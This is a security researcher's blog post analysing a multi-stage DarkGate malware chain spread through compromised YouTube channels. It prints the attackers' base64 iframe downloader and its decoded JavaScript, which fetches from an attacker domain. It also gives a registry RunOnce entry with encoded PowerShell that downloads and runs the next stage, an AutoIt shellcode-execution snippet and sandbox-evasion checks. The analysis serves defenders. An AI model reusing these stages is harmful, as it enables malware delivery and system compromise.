15.08.2024

Ongoing series: #1 #2 #3 #4 #5 #6

next youtube pc help update

After all file hosting providers or content distributors promptly removed the reported files or responded appropriately, the threat actors have now settled on a bulletproof hosting method: YouTube + Cloudflare. Both platforms are ignoring reports and leaving the malicious content online without any action, no matter how many times I report it.

The Channels

(Update 22.08.2024: Some of the channels have been cleaned by YouTube after weeks of reports.)

Listing all the videos distributing malicious links would be far too lengthy, as there are now over 100. Therefore, here is a list of channels that have apparently been compromised and are now filled with malicious content:

youtube[.]com/@mrjparsons
youtube[.]com/@Fhaton
youtube[.]com/@jappaband
youtube[.]com/@imevil924
youtube[.]com/@Skoota18
youtube[.]com/@hocdehanh
youtube[.]com/@olcaval
youtube[.]com/@smpn4ponorogo773
youtube[.]com/@ahmad____jo.1
youtube[.]com/@pptqahda_po
youtube[.]com/@her_idza
youtube[.]com/@jaydizzle847
youtube[.]com/@vanlie
youtube[.]com/@up91
youtube[.]com/@kovach03
youtube[.]com/@Eunice-i1j
youtube[.]com/@ermin90hotmailcom
youtube[.]com/@sandrinetpat
youtube[.]com/@liahona11

Download Lure

If you visit the link in the description (https://geeksupp[.]com) from a residential IP, you’ll be redirected via an HTTP Status 302 with the location https://download.geeksupps.com/webdav/reg/file/ in the response header. The response is an HTML document containing an embedded iFrame, with its source encoded in base64.

    <body>
            <iframe src="data:text/html;base64,PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KCjxib2R5PgogICAgPHNjcmlwdD4KICAgICAgICBhc3luYyBmdW5jdGlvbiBkb3dubG9hZEZpbGUodXJsLCBmaWxlTmFtZSkgewogICAgICAgICAgICBjb25zdCByZXNwb25zZSA9IGF3YWl0IGZldGNoKHVybCk7CiAgICAgICAgICAgIGlmICghcmVzcG9uc2Uub2spIHJldHVybjsKICAgICAgICAgICAgY29uc3QgYmFzZTY0RmlsZSA9IGF3YWl0IHJlc3BvbnNlLnRleHQoKTsKCiAgICAgICAgICAgIC8vINCf0YDQtdC+0LHRgNCw0LfQvtCy0LDQvdC40LUgQmFzZTY0INCyINCx0LjQvdCw0YDQvdGL0LUg0LTQsNC90L3Ri9C1CiAgICAgICAgICAgIGNvbnN0IGJ5dGVDaGFyYWN0ZXJzID0gYXRvYihiYXNlNjRGaWxlKTsKICAgICAgICAgICAgY29uc3QgYnl0ZU51bWJlcnMgPSBuZXcgVWludDhBcnJheShieXRlQ2hhcmFjdGVycy5sZW5ndGgpOwogICAgICAgICAgICBmb3IgKGxldCBpID0gMDsgaSA8IGJ5dGVDaGFyYWN0ZXJzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgICAgICBieXRlTnVtYmVyc1tpXSA9IGJ5dGVDaGFyYWN0ZXJzLmNoYXJDb2RlQXQoaSk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vINCh0L7Qt9C00LDQvdC40LUgQmxvYiDQuCDQuNC90LjRhtC40LDRhtC40Y8g0YHQutCw0YfQuNCy0LDQvdC40Y8KICAgICAgICAgICAgY29uc3QgZmlsZUJsb2IgPSBuZXcgQmxvYihbYnl0ZU51bWJlcnNdLCB7IHR5cGU6ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nIH0pOyAvLyDQl9Cw0LzQtdC90LjRgtC1INC90LAgTUlNRS3RgtC40L8g0YTQsNC50LvQsAogICAgICAgICAgICBjb25zdCBkb3dubG9hZExpbmsgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdhJyk7CiAgICAgICAgICAgIGRvd25sb2FkTGluay5ocmVmID0gVVJMLmNyZWF0ZU9iamVjdFVSTChmaWxlQmxvYik7CiAgICAgICAgICAgIGRvd25sb2FkTGluay5kb3dubG9hZCA9IGZpbGVOYW1lOyAvLyDQl9Cw0LzQtdC90LjRgtC1INC90LAg0LjQvNGPINGE0LDQudC70LAg0LTQu9GPINGB0L7RhdGA0LDQvdC10L3QuNGPCiAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoZG93bmxvYWRMaW5rKTsKICAgICAgICAgICAgZG93bmxvYWRMaW5rLmNsaWNrKCk7CiAgICAgICAgICAgIGRvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQoZG93bmxvYWRMaW5rKTsKICAgICAgICB9CgogICAgICAgIGRvd25sb2FkRmlsZSgnaHR0cHM6Ly9kb3dubG9hZC5nZWVrc3VwcHMuY29tL3dlYmRhdi9yZWcvZmlsZS9kbC5waHAnLCAnVHdlYWsucmVnJyk7CiAgICA8L3NjcmlwdD4KPC9ib2R5Pgo8L2h0bWw+" style="display: none;"></iframe>
    </body>

When decoded, it reveals a downloader functionality:

    async function downloadFile(url, fileName) {
        const response = await fetch(url);
        if (!response.ok) return;
        const base64File = await response.text();

        // Преобразование Base64 в бинарные данные
        const byteCharacters = atob(base64File);
        const byteNumbers = new Uint8Array(byteCharacters.length);
        for (let i = 0; i < byteCharacters.length; i++) {
            byteNumbers[i] = byteCharacters.charCodeAt(i);
        }

        // Создание Blob и инициация скачивания
        const fileBlob = new Blob([byteNumbers], { type: 'application/octet-stream' }); // Замените на MIME-тип файла
        const downloadLink = document.createElement('a');
        downloadLink.href = URL.createObjectURL(fileBlob);
        downloadLink.download = fileName; // Замените на имя файла для сохранения
        document.body.appendChild(downloadLink);
        downloadLink.click();
        document.body.removeChild(downloadLink);
    }

    downloadFile('https://download.geeksupps.com/webdav/reg/file/dl.php', 'Tweak.reg');

The final link from which the file (Tweak.reg) is downloaded is embedded as a base64 encoded string on a subdomain of another domain, appearing as a PHP file (https://download.geeksupps.com/webdav/reg/file/dl.php) with original filename opp.txt.

The Registry Edit (Stage 1)

The Tweak.reg (SHA256: CB9A77D4447C0937C886DE7819C8EB68356FFB8C87A922B9DD343921E7C68D2A) is again filled with junk but is successfully executed by regedit thanks to the extension and the header Windows Registry Editor Version 5.00. The only new value set here is found in the RunOnce key:

    [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
    "MLKU"="pOwerShell -eNC LgAnAG0AcwBoAHQAYQAnAGgAdAB0AHAAcwA6AC8ALwBwAHcAcwBoADIALgBwAGEAagBhAG0AYQBzAC0AcwB0AG8AaQBjAC0AZgBhAGkAbABpAG4AZwAuAGwAbwBsAC8AdwBlAGIAZABhAHYALwByAGUAZwAvAG0AaQBhAGsAaABhAGwAaQBmAGEA"

This Base64 encoded command is executed by the system once at login. During this process, the next stage (SHA256: FD71DF3C421BACEF7014C4836A06C64717DE1F09B17BC27CF5C7FA5FF2F39AFA) is downloaded from https://pwsh2.pajamas-stoic-failing[.]lol/webdav/reg/miakhalifa and executed via mshta.

The Not-So-Executable (Stage 2)

As previously described in youtube pc help #2, youtube pc help #3 and youtube pc help #4, the downloaded file is an executable, but the relevant part is encoded and hidden within it as a JavaScript script. Similar to before, several stages of deobfuscation and decoding are necessary to reach the actually interesting layer. For example, the powershell payload is encrypted via AES and the key 59544B50516A496F536F744A65567367.

The decrypted source contains four PowerShell functions to decode, download, and execute the next stage. If not already present, DesolateOxidant.zip (SHA256:D03AFFD8129B0C4F3FFEB5F08BABE3DC37D0F8D4E6B20A26564C22F774FE4E74) is downloaded from the same folder as before, saved in the user’s APPDATA folder, and unzipped.

    function IVH($vwI) {
        $znyU = $env:AppData;
        Expand-Archive -Path $vwI -DestinationPath $znyU;
        Add-Type -Assembly System.IO.Compression.FileSystem;
        $zipFile = [IO.Compression.ZipFile]::OpenRead($vwI);
        $ruGWr = ($zipFile.Entries | Sort-Object Name | Select-Object -First 1).Name;
        $wDrp = Join-Path $znyU $ruGWr;
        start $wDrp "`"$env:APPDATA\DesolateOxidant.a3x`"";
    };

AutoIt Script (Stage 3)

The previously loaded archive contains two files: a legitimate AutoIt3.exe copy and the encrypted DesolateOxidant.a3x (SHA256:756F079E0B5EC7E919D14FAA25F0A19CD94FEB3FBB72CCCE3AABD3DA93DE57E3) associated script, which, as shown earlier, is executed via the executable. Using myAut2Exe, this script can be decrypted, allowing for the analysis of the actual content and the steps performed. The script includes a function _ENCRYPT, which implements a rudimentary symmetric encryption.

    FUNC _ENCRYPT($VVALUE,$SKEY)
        $TBYTE=DLLSTRUCTCREATE("BYTE")
        LOCAL $S_ENCRYPTED
        LOCAL $IKEYALT=BINARYLEN($SKEY)
        FOR $I=1 TO $IKEYALT
            $IKEYALT=BITXOR(BINARYMID($SKEY,$I,1),$IKEYALT)
        NEXT
        FOR $I=1 TO BINARYLEN($VVALUE)
            $S_ENCRYPTED&=CHR(DLLSTRUCTSETDATA($TBYTE,1,BITNOT(BITXOR(BINARYMID($VVALUE,$I,1),$IKEYALT))))
        NEXT
        RETURN $S_ENCRYPTED
    ENDFUNC

This allows the relevant lines of the script’s functionality to be decrypted and read: A structure of 172.936 bytes is created. Using the VirtualProtect call from kernel32.dll, this area is set to PAGE_EXECUTE_READWRITE, making it executable, readable, and writable. The shellcode is then read from the script file, decrypted and populated into the created struct. Finally, the EnumWindows function from user32.dll is called, using DllStructGetPtr($pt), the previously created struct, as a callback function for all open windows (including the created AutoIT3 window and thus the active process), therefore executing this added code.

    $PT = EXECUTE(DllStructCreate("byte[172936]"))
    EXECUTE(DllCall("kernel32.dll","BOOL","VirtualProtect","ptr",DllStructGetPtr($pt),"int",172936 ,"dword",0x40,"dword*",null))
    EXECUTE(DllStructSetData($pt,1,$data))
    EXECUTE(DllCall("user32.dll","int","EnumWindows","ptr",DllStructGetPtr($pt),"lparam",0))

The loaded shellcode executed through the callback starts with a jump instruction (90 E9 B9 03 00 00 00), which skips the next 945 bytes upon invocation. This jump is repeated 7 times, so the final jump lands at 0x1A39, reaching 4D 5A 45 52, the magic bytes of an executable (SHA256:2F315CA8A32E7135F7AD307B0525665DEC62E374863EDA91BB9718E5FFBFCFDE).

Delphi Binary (Stage 4)

After decompiling the binary, which appears to have been programmed in Delphi, some information can be extracted from the obtained source code. For instance, at the very beginning of the start function, a call is made to sub_403F78(off_41E598, (__int32)"ubLdCOvz"); with the previously known key ubLdCOvz. This suggests that additional content is being loaded from the encrypted script file, or parts of the created shellcode are encrypted using the same key.

In another function, sub_41D184(), an sandbox evasion technique targeting known analysis systems can be identified. This function retrieves system properties, specifically checking the graphics card and system manufacturer, to detect and potentially evade these environments.

    if ( v6 )
    {
        sub_40430C((int)v6, (int *)"microsoft hyper-v video");
        if ( v1
        || (int)sub_4044A8("virtual", v6) > 0
        || (int)sub_4044A8("vmware", v6) > 0
        || (sub_40430C((int)v6, (int *)"standard vga graphics adapter"), v1)
        || (sub_40430C((int)v6, (int *)"microsoft remote display adapter"), v1)
        || (sub_40430C((int)v6, (int *)"microsoft basic display adapter"), v1) )
        {
        LOBYTE(v0) = 1;
        }
    }

In the variable declarations, an array assignment can be recognized, which indicates the use of a custom base64 alphabet. This alphabet is a known indicator of compromise (IOC) associated with DarkGate which is offered via subscription-based model.

char *off_41E3E4[2] =
{
  "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+=",
  "zLAxuU0kQKf3sWE7ePRO2imyg9GSpVoYC6rhlX48ZHnvjJDBNFtMd1I5acwbqT+="
};